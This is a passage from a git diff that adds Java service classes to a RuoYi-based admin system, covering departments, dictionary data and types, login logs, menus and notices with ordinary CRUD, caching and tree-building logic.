com.ruoyi.common.core.text.Convert; +import com.ruoyi.common.exception.ServiceException; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.spring.SpringUtils; +import com.ruoyi.system.mapper.SysDeptMapper; +import com.ruoyi.system.mapper.SysRoleMapper; +import com.ruoyi.system.service.ISysDeptService; + +/** + * 部门管理 服务实现 + * + * @author ruoyi + */ +@Service +public class SysDeptServiceImpl implements ISysDeptService +{ + @Autowired + private SysDeptMapper deptMapper; + + @Autowired + private SysRoleMapper roleMapper; + + /** + * 查询部门管理数据 + * + * @param dept 部门信息 + * @return 部门信息集合 + */ + @Override + @DataScope(deptAlias = "d") + public List selectDeptList(SysDept dept) + { + return deptMapper.selectDeptList(dept); + } + + /** + * 查询部门树结构信息 + * + * @param dept 部门信息 + * @return 部门树信息集合 + */ + @Override + public List selectDeptTreeList(SysDept dept) + { + List depts = SpringUtils.getAopProxy(this).selectDeptList(dept); + return buildDeptTreeSelect(depts); + } + + /** + * 构建前端所需要树结构 + * + * @param depts 部门列表 + * @return 树结构列表 + */ + @Override + public List buildDeptTree(List depts) + { + List returnList = new ArrayList(); + List tempList = depts.stream().map(SysDept::getDeptId).collect(Collectors.toList()); + for (SysDept dept : depts) + { + // 如果是顶级节点, 遍历该父节点的所有子节点 + if (!tempList.contains(dept.getParentId())) + { + recursionFn(depts, dept); + returnList.add(dept); + } + } + if (returnList.isEmpty()) + { + returnList = depts; + } + return returnList; + } + + /** + * 构建前端所需要下拉树结构 + * + * @param depts 部门列表 + * @return 下拉树结构列表 + */ + @Override + public List buildDeptTreeSelect(List depts) + { + List deptTrees = buildDeptTree(depts); + return deptTrees.stream().map(TreeSelect::new).collect(Collectors.toList()); + } + + /** + * 根据角色ID查询部门树信息 + * + * @param roleId 角色ID + * @return 选中部门列表 + */ + @Override + public List selectDeptListByRoleId(Long roleId) + { + SysRole role = roleMapper.selectRoleById(roleId); + return deptMapper.selectDeptListByRoleId(roleId, role.isDeptCheckStrictly()); + } + + /** + * 根据部门ID查询信息 + * + * @param deptId 部门ID + * @return 部门信息 + */ + @Override + public SysDept selectDeptById(Long deptId) + { + return deptMapper.selectDeptById(deptId); + } + + /** + * 根据ID查询所有子部门(正常状态) + * + * @param deptId 部门ID + * @return 子部门数 + */ + @Override + public int selectNormalChildrenDeptById(Long deptId) + { + return deptMapper.selectNormalChildrenDeptById(deptId); + } + + /** + * 是否存在子节点 + * + * @param deptId 部门ID + * @return 结果 + */ + @Override + public boolean hasChildByDeptId(Long deptId) + { + int result = deptMapper.hasChildByDeptId(deptId); + return result > 0; + } + + /** + * 查询部门是否存在用户 + * + * @param deptId 部门ID + * @return 结果 true 存在 false 不存在 + */ + @Override + public boolean checkDeptExistUser(Long deptId) + { + int result = deptMapper.checkDeptExistUser(deptId); + return result > 0; + } + + /** + * 校验部门名称是否唯一 + * + * @param dept 部门信息 + * @return 结果 + */ + @Override + public boolean checkDeptNameUnique(SysDept dept) + { + Long deptId = StringUtils.isNull(dept.getDeptId()) ? -1L : dept.getDeptId(); + SysDept info = deptMapper.checkDeptNameUnique(dept.getDeptName(), dept.getParentId()); + if (StringUtils.isNotNull(info) && info.getDeptId().longValue() != deptId.longValue()) + { + return UserConstants.NOT_UNIQUE; + } + return UserConstants.UNIQUE; + } + + /** + * 校验部门是否有数据权限 + * + * @param deptId 部门id + */ + @Override + public void checkDeptDataScope(Long deptId) + { + if (!SysUser.isAdmin(SecurityUtils.getUserId())) + { + SysDept dept = new SysDept(); + dept.setDeptId(deptId); + List depts = SpringUtils.getAopProxy(this).selectDeptList(dept); + if (StringUtils.isEmpty(depts)) + { + throw new ServiceException("没有权限访问部门数据!"); + } + } + } + + /** + * 新增保存部门信息 + * + * @param dept 部门信息 + * @return 结果 + */ + @Override + public int insertDept(SysDept dept) + { + SysDept info = deptMapper.selectDeptById(dept.getParentId()); + // 如果父节点不为正常状态,则不允许新增子节点 + if (!UserConstants.DEPT_NORMAL.equals(info.getStatus())) + { + throw new ServiceException("部门停用,不允许新增"); + } + dept.setAncestors(info.getAncestors() + "," + dept.getParentId()); + return deptMapper.insertDept(dept); + } + + /** + * 修改保存部门信息 + * + * @param dept 部门信息 + * @return 结果 + */ + @Override + public int updateDept(SysDept dept) + { + SysDept newParentDept = deptMapper.selectDeptById(dept.getParentId()); + SysDept oldDept = deptMapper.selectDeptById(dept.getDeptId()); + if (StringUtils.isNotNull(newParentDept) && StringUtils.isNotNull(oldDept)) + { + String newAncestors = newParentDept.getAncestors() + "," + newParentDept.getDeptId(); + String oldAncestors = oldDept.getAncestors(); + dept.setAncestors(newAncestors); + updateDeptChildren(dept.getDeptId(), newAncestors, oldAncestors); + } + int result = deptMapper.updateDept(dept); + if (UserConstants.DEPT_NORMAL.equals(dept.getStatus()) && StringUtils.isNotEmpty(dept.getAncestors()) + && !StringUtils.equals("0", dept.getAncestors())) + { + // 如果该部门是启用状态,则启用该部门的所有上级部门 + updateParentDeptStatusNormal(dept); + } + return result; + } + + /** + * 修改该部门的父级部门状态 + * + * @param dept 当前部门 + */ + private void updateParentDeptStatusNormal(SysDept dept) + { + String ancestors = dept.getAncestors(); + Long[] deptIds = Convert.toLongArray(ancestors); + deptMapper.updateDeptStatusNormal(deptIds); + } + + /** + * 修改子元素关系 + * + * @param deptId 被修改的部门ID + * @param newAncestors 新的父ID集合 + * @param oldAncestors 旧的父ID集合 + */ + public void updateDeptChildren(Long deptId, String newAncestors, String oldAncestors) + { + List children = deptMapper.selectChildrenDeptById(deptId); + for (SysDept child : children) + { + child.setAncestors(child.getAncestors().replaceFirst(oldAncestors, newAncestors)); + } + if (children.size() > 0) + { + deptMapper.updateDeptChildren(children); + } + } + + /** + * 删除部门管理信息 + * + * @param deptId 部门ID + * @return 结果 + */ + @Override + public int deleteDeptById(Long deptId) + { + return deptMapper.deleteDeptById(deptId); + } + + /** + * 递归列表 + */ + private void recursionFn(List list, SysDept t) + { + // 得到子节点列表 + List childList = getChildList(list, t); + t.setChildren(childList); + for (SysDept tChild : childList) + { + if (hasChild(list, tChild)) + { + recursionFn(list, tChild); + } + } + } + + /** + * 得到子节点列表 + */ + private List getChildList(List list, SysDept t) + { + List tlist = new ArrayList(); + Iterator it = list.iterator(); + while (it.hasNext()) + { + SysDept n = (SysDept) it.next(); + if (StringUtils.isNotNull(n.getParentId()) && n.getParentId().longValue() == t.getDeptId().longValue()) + { + tlist.add(n); + } + } + return tlist; + } + + /** + * 判断是否有子节点 + */ + private boolean hasChild(List list, SysDept t) + { + return getChildList(list, t).size() > 0; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDictDataServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDictDataServiceImpl.java new file mode 100644 index 0000000..535d827 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDictDataServiceImpl.java @@ -0,0 +1,121 @@ +package com.ruoyi.system.service.impl; + +import java.util.List; + +import com.ruoyi.common.utils.StringUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.common.utils.DictUtils; +import com.ruoyi.system.mapper.SysDictDataMapper; +import com.ruoyi.system.service.ISysDictDataService; + +/** + * 字典 业务层处理 + * + * @author ruoyi + */ +@Service +public class SysDictDataServiceImpl implements ISysDictDataService +{ + @Autowired + private SysDictDataMapper dictDataMapper; + + /** + * 根据条件分页查询字典数据 + * + * @param dictData 字典数据信息 + * @return 字典数据集合信息 + */ + @Override + public List selectDictDataList(SysDictData dictData) + { + return dictDataMapper.selectDictDataList(dictData); + } + + /** + * 根据字典类型和字典键值查询字典数据信息 + * + * @param dictType 字典类型 + * @param dictValue 字典键值 + * @return 字典标签 + */ + @Override + public String selectDictLabel(String dictType, String dictValue) + { + return dictDataMapper.selectDictLabel(dictType, dictValue); + } + + /** + * 根据字典数据ID查询信息 + * + * @param dictCode 字典数据ID + * @return 字典数据 + */ + @Override + public SysDictData selectDictDataById(Long dictCode) + { + return dictDataMapper.selectDictDataById(dictCode); + } + + /** + * 批量删除字典数据信息 + * + * @param dictCodes 需要删除的字典数据ID + */ + @Override + public void deleteDictDataByIds(Long[] dictCodes) + { + for (Long dictCode : dictCodes) + { + SysDictData data = selectDictDataById(dictCode); + dictDataMapper.deleteDictDataById(dictCode); + List dictDatas = dictDataMapper.selectDictDataByType(data.getDictType()); + DictUtils.setDictCache(data.getDictType(), dictDatas); + } + } + + /** + * 新增保存字典数据信息 + * + * @param data 字典数据信息 + * @return 结果 + */ + @Override + public int insertDictData(SysDictData data) + { + String isDefault = data.getIsDefault(); + if (StringUtils.isNotEmpty(isDefault) && isDefault.equals("Y")){ + dictDataMapper.updateDictDataByIsDefault(data); + } + int row = dictDataMapper.insertDictData(data); + if (row > 0) + { + List dictDatas = dictDataMapper.selectDictDataByType(data.getDictType()); + DictUtils.setDictCache(data.getDictType(), dictDatas); + } + return row; + } + + /** + * 修改保存字典数据信息 + * + * @param data 字典数据信息 + * @return 结果 + */ + @Override + public int updateDictData(SysDictData data) + { + String isDefault = data.getIsDefault(); + if (StringUtils.isNotEmpty(isDefault) && isDefault.equals("Y")){ + dictDataMapper.updateDictDataByIsDefault(data); + } + int row = dictDataMapper.updateDictData(data); + if (row > 0) + { + List dictDatas = dictDataMapper.selectDictDataByType(data.getDictType()); + DictUtils.setDictCache(data.getDictType(), dictDatas); + } + return row; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDictTypeServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDictTypeServiceImpl.java new file mode 100644 index 0000000..7fd9654 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDictTypeServiceImpl.java @@ -0,0 +1,223 @@ +package com.ruoyi.system.service.impl; + +import java.util.Comparator; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; +import javax.annotation.PostConstruct; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.common.core.domain.entity.SysDictType; +import com.ruoyi.common.exception.ServiceException; +import com.ruoyi.common.utils.DictUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.mapper.SysDictDataMapper; +import com.ruoyi.system.mapper.SysDictTypeMapper; +import com.ruoyi.system.service.ISysDictTypeService; + +/** + * 字典 业务层处理 + * + * @author ruoyi + */ +@Service +public class SysDictTypeServiceImpl implements ISysDictTypeService +{ + @Autowired + private SysDictTypeMapper dictTypeMapper; + + @Autowired + private SysDictDataMapper dictDataMapper; + + /** + * 项目启动时,初始化字典到缓存 + */ + @PostConstruct + public void init() + { + loadingDictCache(); + } + + /** + * 根据条件分页查询字典类型 + * + * @param dictType 字典类型信息 + * @return 字典类型集合信息 + */ + @Override + public List selectDictTypeList(SysDictType dictType) + { + return dictTypeMapper.selectDictTypeList(dictType); + } + + /** + * 根据所有字典类型 + * + * @return 字典类型集合信息 + */ + @Override + public List selectDictTypeAll() + { + return dictTypeMapper.selectDictTypeAll(); + } + + /** + * 根据字典类型查询字典数据 + * + * @param dictType 字典类型 + * @return 字典数据集合信息 + */ + @Override + public List selectDictDataByType(String dictType) + { + List dictDatas = DictUtils.getDictCache(dictType); + if (StringUtils.isNotEmpty(dictDatas)) + { + return dictDatas; + } + dictDatas = dictDataMapper.selectDictDataByType(dictType); + if (StringUtils.isNotEmpty(dictDatas)) + { + DictUtils.setDictCache(dictType, dictDatas); + return dictDatas; + } + return null; + } + + /** + * 根据字典类型ID查询信息 + * + * @param dictId 字典类型ID + * @return 字典类型 + */ + @Override + public SysDictType selectDictTypeById(Long dictId) + { + return dictTypeMapper.selectDictTypeById(dictId); + } + + /** + * 根据字典类型查询信息 + * + * @param dictType 字典类型 + * @return 字典类型 + */ + @Override + public SysDictType selectDictTypeByType(String dictType) + { + return dictTypeMapper.selectDictTypeByType(dictType); + } + + /** + * 批量删除字典类型信息 + * + * @param dictIds 需要删除的字典ID + */ + @Override + public void deleteDictTypeByIds(Long[] dictIds) + { + for (Long dictId : dictIds) + { + SysDictType dictType = selectDictTypeById(dictId); + if (dictDataMapper.countDictDataByType(dictType.getDictType()) > 0) + { + throw new ServiceException(String.format("%1$s已分配,不能删除", dictType.getDictName())); + } + dictTypeMapper.deleteDictTypeById(dictId); + DictUtils.removeDictCache(dictType.getDictType()); + } + } + + /** + * 加载字典缓存数据 + */ + @Override + public void loadingDictCache() + { + SysDictData dictData = new SysDictData(); + dictData.setStatus("0"); + Map> dictDataMap = dictDataMapper.selectDictDataList(dictData).stream().collect(Collectors.groupingBy(SysDictData::getDictType)); + for (Map.Entry> entry : dictDataMap.entrySet()) + { + DictUtils.setDictCache(entry.getKey(), entry.getValue().stream().sorted(Comparator.comparing(SysDictData::getDictSort)).collect(Collectors.toList())); + } + } + + /** + * 清空字典缓存数据 + */ + @Override + public void clearDictCache() + { + DictUtils.clearDictCache(); + } + + /** + * 重置字典缓存数据 + */ + @Override + public void resetDictCache() + { + clearDictCache(); + loadingDictCache(); + } + + /** + * 新增保存字典类型信息 + * + * @param dict 字典类型信息 + * @return 结果 + */ + @Override + public int insertDictType(SysDictType dict) + { + int row = dictTypeMapper.insertDictType(dict); + if (row > 0) + { + DictUtils.setDictCache(dict.getDictType(), null); + } + return row; + } + + /** + * 修改保存字典类型信息 + * + * @param dict 字典类型信息 + * @return 结果 + */ + @Override + @Transactional + public int updateDictType(SysDictType dict) + { + SysDictType oldDict = dictTypeMapper.selectDictTypeById(dict.getDictId()); + dictDataMapper.updateDictDataType(oldDict.getDictType(), dict.getDictType()); + int row = dictTypeMapper.updateDictType(dict); + if (row > 0) + { + List dictDatas = dictDataMapper.selectDictDataByType(dict.getDictType()); + DictUtils.setDictCache(dict.getDictType(), dictDatas); + } + return row; + } + + /** + * 校验字典类型称是否唯一 + * + * @param dict 字典类型 + * @return 结果 + */ + @Override + public boolean checkDictTypeUnique(SysDictType dict) + { + Long dictId = StringUtils.isNull(dict.getDictId()) ? -1L : dict.getDictId(); + SysDictType dictType = dictTypeMapper.checkDictTypeUnique(dict.getDictType()); + if (StringUtils.isNotNull(dictType) && dictType.getDictId().longValue() != dictId.longValue()) + { + return UserConstants.NOT_UNIQUE; + } + return UserConstants.UNIQUE; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysLogininforServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysLogininforServiceImpl.java new file mode 100644 index 0000000..216aecb --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysLogininforServiceImpl.java @@ -0,0 +1,65 @@ +package com.ruoyi.system.service.impl; + +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.system.domain.SysLogininfor; +import com.ruoyi.system.mapper.SysLogininforMapper; +import com.ruoyi.system.service.ISysLogininforService; + +/** + * 系统访问日志情况信息 服务层处理 + * + * @author ruoyi + */ +@Service +public class SysLogininforServiceImpl implements ISysLogininforService +{ + + @Autowired + private SysLogininforMapper logininforMapper; + + /** + * 新增系统登录日志 + * + * @param logininfor 访问日志对象 + */ + @Override + public void insertLogininfor(SysLogininfor logininfor) + { + logininforMapper.insertLogininfor(logininfor); + } + + /** + * 查询系统登录日志集合 + * + * @param logininfor 访问日志对象 + * @return 登录记录集合 + */ + @Override + public List selectLogininforList(SysLogininfor logininfor) + { + return logininforMapper.selectLogininforList(logininfor); + } + + /** + * 批量删除系统登录日志 + * + * @param infoIds 需要删除的登录日志ID + * @return 结果 + */ + @Override + public int deleteLogininforByIds(Long[] infoIds) + { + return logininforMapper.deleteLogininforByIds(infoIds); + } + + /** + * 清空系统登录日志 + */ + @Override + public void cleanLogininfor() + { + logininforMapper.cleanLogininfor(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysMenuServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysMenuServiceImpl.java new file mode 100644 index 0000000..225c280 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysMenuServiceImpl.java @@ -0,0 +1,531 @@ +package com.ruoyi.system.service.impl; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashSet; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; +import java.util.Set; +import java.util.stream.Collectors; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.core.domain.TreeSelect; +import com.ruoyi.common.core.domain.entity.SysMenu; +import com.ruoyi.common.core.domain.entity.SysRole; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.domain.vo.MetaVo; +import com.ruoyi.system.domain.vo.RouterVo; +import com.ruoyi.system.mapper.SysMenuMapper; +import com.ruoyi.system.mapper.SysRoleMapper; +import com.ruoyi.system.mapper.SysRoleMenuMapper; +import com.ruoyi.system.service.ISysMenuService; + +/** + * 菜单 业务层处理 + * + * @author ruoyi + */ +@Service +public class SysMenuServiceImpl implements ISysMenuService +{ + public static final String PREMISSION_STRING = "perms[\"{0}\"]"; + + @Autowired + private SysMenuMapper menuMapper; + + @Autowired + private SysRoleMapper roleMapper; + + @Autowired + private SysRoleMenuMapper roleMenuMapper; + + /** + * 根据用户查询系统菜单列表 + * + * @param userId 用户ID + * @return 菜单列表 + */ + @Override + public List selectMenuList(Long userId) + { + return selectMenuList(new SysMenu(), userId); + } + + /** + * 查询系统菜单列表 + * + * @param menu 菜单信息 + * @return 菜单列表 + */ + @Override + public List selectMenuList(SysMenu menu, Long userId) + { + List menuList = null; + // 管理员显示所有菜单信息 + if (SysUser.isAdmin(userId)) + { + menuList = menuMapper.selectMenuList(menu); + } + else + { + menu.getParams().put("userId", userId); + menuList = menuMapper.selectMenuListByUserId(menu); + } + return menuList; + } + + /** + * 根据用户ID查询权限 + * + * @param userId 用户ID + * @return 权限列表 + */ + @Override + public Set selectMenuPermsByUserId(Long userId) + { + List perms = menuMapper.selectMenuPermsByUserId(userId); + Set permsSet = new HashSet<>(); + for (String perm : perms) + { + if (StringUtils.isNotEmpty(perm)) + { + permsSet.addAll(Arrays.asList(perm.trim().split(","))); + } + } + return permsSet; + } + + /** + * 根据角色ID查询权限 + * + * @param roleId 角色ID + * @return 权限列表 + */ + @Override + public Set selectMenuPermsByRoleId(Long roleId) + { + List perms = menuMapper.selectMenuPermsByRoleId(roleId); + Set permsSet = new HashSet<>(); + for (String perm : perms) + { + if (StringUtils.isNotEmpty(perm)) + { + permsSet.addAll(Arrays.asList(perm.trim().split(","))); + } + } + return permsSet; + } + + /** + * 根据用户ID查询菜单 + * + * @param userId 用户名称 + * @return 菜单列表 + */ + @Override + public List selectMenuTreeByUserId(Long userId) + { + List menus = null; + if (SecurityUtils.isAdmin(userId)) + { + menus = menuMapper.selectMenuTreeAll(); + } + else + { + menus = menuMapper.selectMenuTreeByUserId(userId); + } + return getChildPerms(menus, 0); + } + + /** + * 根据角色ID查询菜单树信息 + * + * @param roleId 角色ID + * @return 选中菜单列表 + */ + @Override + public List selectMenuListByRoleId(Long roleId) + { + SysRole role = roleMapper.selectRoleById(roleId); + return menuMapper.selectMenuListByRoleId(roleId, role.isMenuCheckStrictly()); + } + + /** + * 构建前端路由所需要的菜单 + * + * @param menus 菜单列表 + * @return 路由列表 + */ + @Override + public List buildMenus(List menus) + { + List routers = new LinkedList(); + for (SysMenu menu : menus) + { + RouterVo router = new RouterVo(); + router.setHidden("1".equals(menu.getVisible())); + router.setName(getRouteName(menu)); + router.setPath(getRouterPath(menu)); + router.setComponent(getComponent(menu)); + router.setQuery(menu.getQuery()); + router.setMeta(new MetaVo(menu.getMenuName(), menu.getIcon(), StringUtils.equals("1", menu.getIsCache()), menu.getPath())); + List cMenus = menu.getChildren(); + if (StringUtils.isNotEmpty(cMenus) && UserConstants.TYPE_DIR.equals(menu.getMenuType())) + { + router.setAlwaysShow(true); + router.setRedirect("noRedirect"); + router.setChildren(buildMenus(cMenus)); + } + else if (isMenuFrame(menu)) + { + router.setMeta(null); + List childrenList = new ArrayList(); + RouterVo children = new RouterVo(); + children.setPath(menu.getPath()); + children.setComponent(menu.getComponent()); + children.setName(StringUtils.capitalize(menu.getPath())); + children.setMeta(new MetaVo(menu.getMenuName(), menu.getIcon(), StringUtils.equals("1", menu.getIsCache()), menu.getPath())); + children.setQuery(menu.getQuery()); + childrenList.add(children); + router.setChildren(childrenList); + } + else if (menu.getParentId().intValue() == 0 && isInnerLink(menu)) + { + router.setMeta(new MetaVo(menu.getMenuName(), menu.getIcon())); + router.setPath("/"); + List childrenList = new ArrayList(); + RouterVo children = new RouterVo(); + String routerPath = innerLinkReplaceEach(menu.getPath()); + children.setPath(routerPath); + children.setComponent(UserConstants.INNER_LINK); + children.setName(StringUtils.capitalize(routerPath)); + children.setMeta(new MetaVo(menu.getMenuName(), menu.getIcon(), menu.getPath())); + childrenList.add(children); + router.setChildren(childrenList); + } + routers.add(router); + } + return routers; + } + + /** + * 构建前端所需要树结构 + * + * @param menus 菜单列表 + * @return 树结构列表 + */ + @Override + public List buildMenuTree(List menus) + { + List returnList = new ArrayList(); + List tempList = menus.stream().map(SysMenu::getMenuId).collect(Collectors.toList()); + for (Iterator iterator = menus.iterator(); iterator.hasNext();) + { + SysMenu menu = (SysMenu) iterator.next(); + // 如果是顶级节点, 遍历该父节点的所有子节点 + if (!tempList.contains(menu.getParentId())) + { + recursionFn(menus, menu); + returnList.add(menu); + } + } + if (returnList.isEmpty()) + { + returnList = menus; + } + return returnList; + } + + /** + * 构建前端所需要下拉树结构 + * + * @param menus 菜单列表 + * @return 下拉树结构列表 + */ + @Override + public List buildMenuTreeSelect(List menus) + { + List menuTrees = buildMenuTree(menus); + return menuTrees.stream().map(TreeSelect::new).collect(Collectors.toList()); + } + + /** + * 根据菜单ID查询信息 + * + * @param menuId 菜单ID + * @return 菜单信息 + */ + @Override + public SysMenu selectMenuById(Long menuId) + { + return menuMapper.selectMenuById(menuId); + } + + /** + * 是否存在菜单子节点 + * + * @param menuId 菜单ID + * @return 结果 + */ + @Override + public boolean hasChildByMenuId(Long menuId) + { + int result = menuMapper.hasChildByMenuId(menuId); + return result > 0; + } + + /** + * 查询菜单使用数量 + * + * @param menuId 菜单ID + * @return 结果 + */ + @Override + public boolean checkMenuExistRole(Long menuId) + { + int result = roleMenuMapper.checkMenuExistRole(menuId); + return result > 0; + } + + /** + * 新增保存菜单信息 + * + * @param menu 菜单信息 + * @return 结果 + */ + @Override + public int insertMenu(SysMenu menu) + { + return menuMapper.insertMenu(menu); + } + + /** + * 修改保存菜单信息 + * + * @param menu 菜单信息 + * @return 结果 + */ + @Override + public int updateMenu(SysMenu menu) + { + return menuMapper.updateMenu(menu); + } + + /** + * 删除菜单管理信息 + * + * @param menuId 菜单ID + * @return 结果 + */ + @Override + public int deleteMenuById(Long menuId) + { + return menuMapper.deleteMenuById(menuId); + } + + /** + * 校验菜单名称是否唯一 + * + * @param menu 菜单信息 + * @return 结果 + */ + @Override + public boolean checkMenuNameUnique(SysMenu menu) + { + Long menuId = StringUtils.isNull(menu.getMenuId()) ? -1L : menu.getMenuId(); + SysMenu info = menuMapper.checkMenuNameUnique(menu.getMenuName(), menu.getParentId()); + if (StringUtils.isNotNull(info) && info.getMenuId().longValue() != menuId.longValue()) + { + return UserConstants.NOT_UNIQUE; + } + return UserConstants.UNIQUE; + } + + /** + * 获取路由名称 + * + * @param menu 菜单信息 + * @return 路由名称 + */ + public String getRouteName(SysMenu menu) + { + String routerName = StringUtils.capitalize(menu.getPath()); + // 非外链并且是一级目录(类型为目录) + if (isMenuFrame(menu)) + { + routerName = StringUtils.EMPTY; + } + return routerName; + } + + /** + * 获取路由地址 + * + * @param menu 菜单信息 + * @return 路由地址 + */ + public String getRouterPath(SysMenu menu) + { + String routerPath = menu.getPath(); + // 内链打开外网方式 + if (menu.getParentId().intValue() != 0 && isInnerLink(menu)) + { + routerPath = innerLinkReplaceEach(routerPath); + } + // 非外链并且是一级目录(类型为目录) + if (0 == menu.getParentId().intValue() && UserConstants.TYPE_DIR.equals(menu.getMenuType()) + && UserConstants.NO_FRAME.equals(menu.getIsFrame())) + { + routerPath = "/" + menu.getPath(); + } + // 非外链并且是一级目录(类型为菜单) + else if (isMenuFrame(menu)) + { + routerPath = "/"; + } + return routerPath; + } + + /** + * 获取组件信息 + * + * @param menu 菜单信息 + * @return 组件信息 + */ + public String getComponent(SysMenu menu) + { + String component = UserConstants.LAYOUT; + if (StringUtils.isNotEmpty(menu.getComponent()) && !isMenuFrame(menu)) + { + component = menu.getComponent(); + } + else if (StringUtils.isEmpty(menu.getComponent()) && menu.getParentId().intValue() != 0 && isInnerLink(menu)) + { + component = UserConstants.INNER_LINK; + } + else if (StringUtils.isEmpty(menu.getComponent()) && isParentView(menu)) + { + component = UserConstants.PARENT_VIEW; + } + return component; + } + + /** + * 是否为菜单内部跳转 + * + * @param menu 菜单信息 + * @return 结果 + */ + public boolean isMenuFrame(SysMenu menu) + { + return menu.getParentId().intValue() == 0 && UserConstants.TYPE_MENU.equals(menu.getMenuType()) + && menu.getIsFrame().equals(UserConstants.NO_FRAME); + } + + /** + * 是否为内链组件 + * + * @param menu 菜单信息 + * @return 结果 + */ + public boolean isInnerLink(SysMenu menu) + { + return menu.getIsFrame().equals(UserConstants.NO_FRAME) && StringUtils.ishttp(menu.getPath()); + } + + /** + * 是否为parent_view组件 + * + * @param menu 菜单信息 + * @return 结果 + */ + public boolean isParentView(SysMenu menu) + { + return menu.getParentId().intValue() != 0 && UserConstants.TYPE_DIR.equals(menu.getMenuType()); + } + + /** + * 根据父节点的ID获取所有子节点 + * + * @param list 分类表 + * @param parentId 传入的父节点ID + * @return String + */ + public List getChildPerms(List list, int parentId) + { + List returnList = new ArrayList(); + for (Iterator iterator = list.iterator(); iterator.hasNext();) + { + SysMenu t = (SysMenu) iterator.next(); + // 一、根据传入的某个父节点ID,遍历该父节点的所有子节点 + if (t.getParentId() == parentId) + { + recursionFn(list, t); + returnList.add(t); + } + } + return returnList; + } + + /** + * 递归列表 + * + * @param list 分类表 + * @param t 子节点 + */ + private void recursionFn(List list, SysMenu t) + { + // 得到子节点列表 + List childList = getChildList(list, t); + t.setChildren(childList); + for (SysMenu tChild : childList) + { + if (hasChild(list, tChild)) + { + recursionFn(list, tChild); + } + } + } + + /** + * 得到子节点列表 + */ + private List getChildList(List list, SysMenu t) + { + List tlist = new ArrayList(); + Iterator it = list.iterator(); + while (it.hasNext()) + { + SysMenu n = (SysMenu) it.next(); + if (n.getParentId().longValue() == t.getMenuId().longValue()) + { + tlist.add(n); + } + } + return tlist; + } + + /** + * 判断是否有子节点 + */ + private boolean hasChild(List list, SysMenu t) + { + return getChildList(list, t).size() > 0; + } + + /** + * 内链域名特殊字符替换 + * + * @return 替换后的内链域名 + */ + public String innerLinkReplaceEach(String path) + { + return StringUtils.replaceEach(path, new String[] { Constants.HTTP, Constants.HTTPS, Constants.WWW, "." }, + new String[] { "", "", "", "/" }); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysNoticeServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysNoticeServiceImpl.java new file mode 100644 index 0000000..765438b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysNoticeServiceImpl.java @@ -0,0 +1,92 @@ +package com.ruoyi.system.service.impl; + +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.system.domain.SysNotice; +import com.ruoyi.system.mapper.SysNoticeMapper; +import com.ruoyi.system.service.ISysNoticeService; + +/** + * 公告 服务层实现 + * + * @author ruoyi + */ +@Service +public class SysNoticeServiceImpl implements ISysNoticeService +{ + @Autowired + private SysNoticeMapper noticeMapper; + + /** + * 查询公告信息 + * + * @param noticeId 公告ID + * @return 公告信息 + */ + @Override + public SysNotice selectNoticeById(Long noticeId) + { + return noticeMapper.selectNoticeById(noticeId); + } + + /** + * 查询公告列表 + * + * @param notice 公告信息 + * @return 公告集合 + */ + @Override + public List selectNoticeList(SysNotice notice) + { + return noticeMapper.selectNoticeList(notice); + } + + /** + * 新增公告 + * + * @param notice 公告信息 + * @return 结果 + */ + @Override + public int insertNotice(SysNotice notice) + { + return noticeMapper.insertNotice(notice); + } + + /** + * 修改公告 + * + * @param notice 公告信息 + * @return 结果 + */ + @Override + public int updateNotice(SysNotice notice) + { + return noticeMapper.updateNotice(notice); + } + + /** + * 删除公告对象 + * + * @param noticeId 公告ID + * @return 结果 + */ + @Override + public int deleteNoticeById(Long noticeId) + { + return noticeMapper.deleteNoticeById(noticeId); + } + + /** + * 批量删除公告信息 + * + * @param noticeIds 需要删除的公告ID + * @return 结果 + */ + @Override + public int deleteNoticeByIds(Long[] noticeIds) + { + return noticeMapper.deleteNoticeByIds(noticeIds); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysOperLogServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysOperLogServiceImpl.java new file mode 100644 index 0000000..5489815 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysOperLogServiceImpl.java @@ -0,0 +1,76 @@ +package 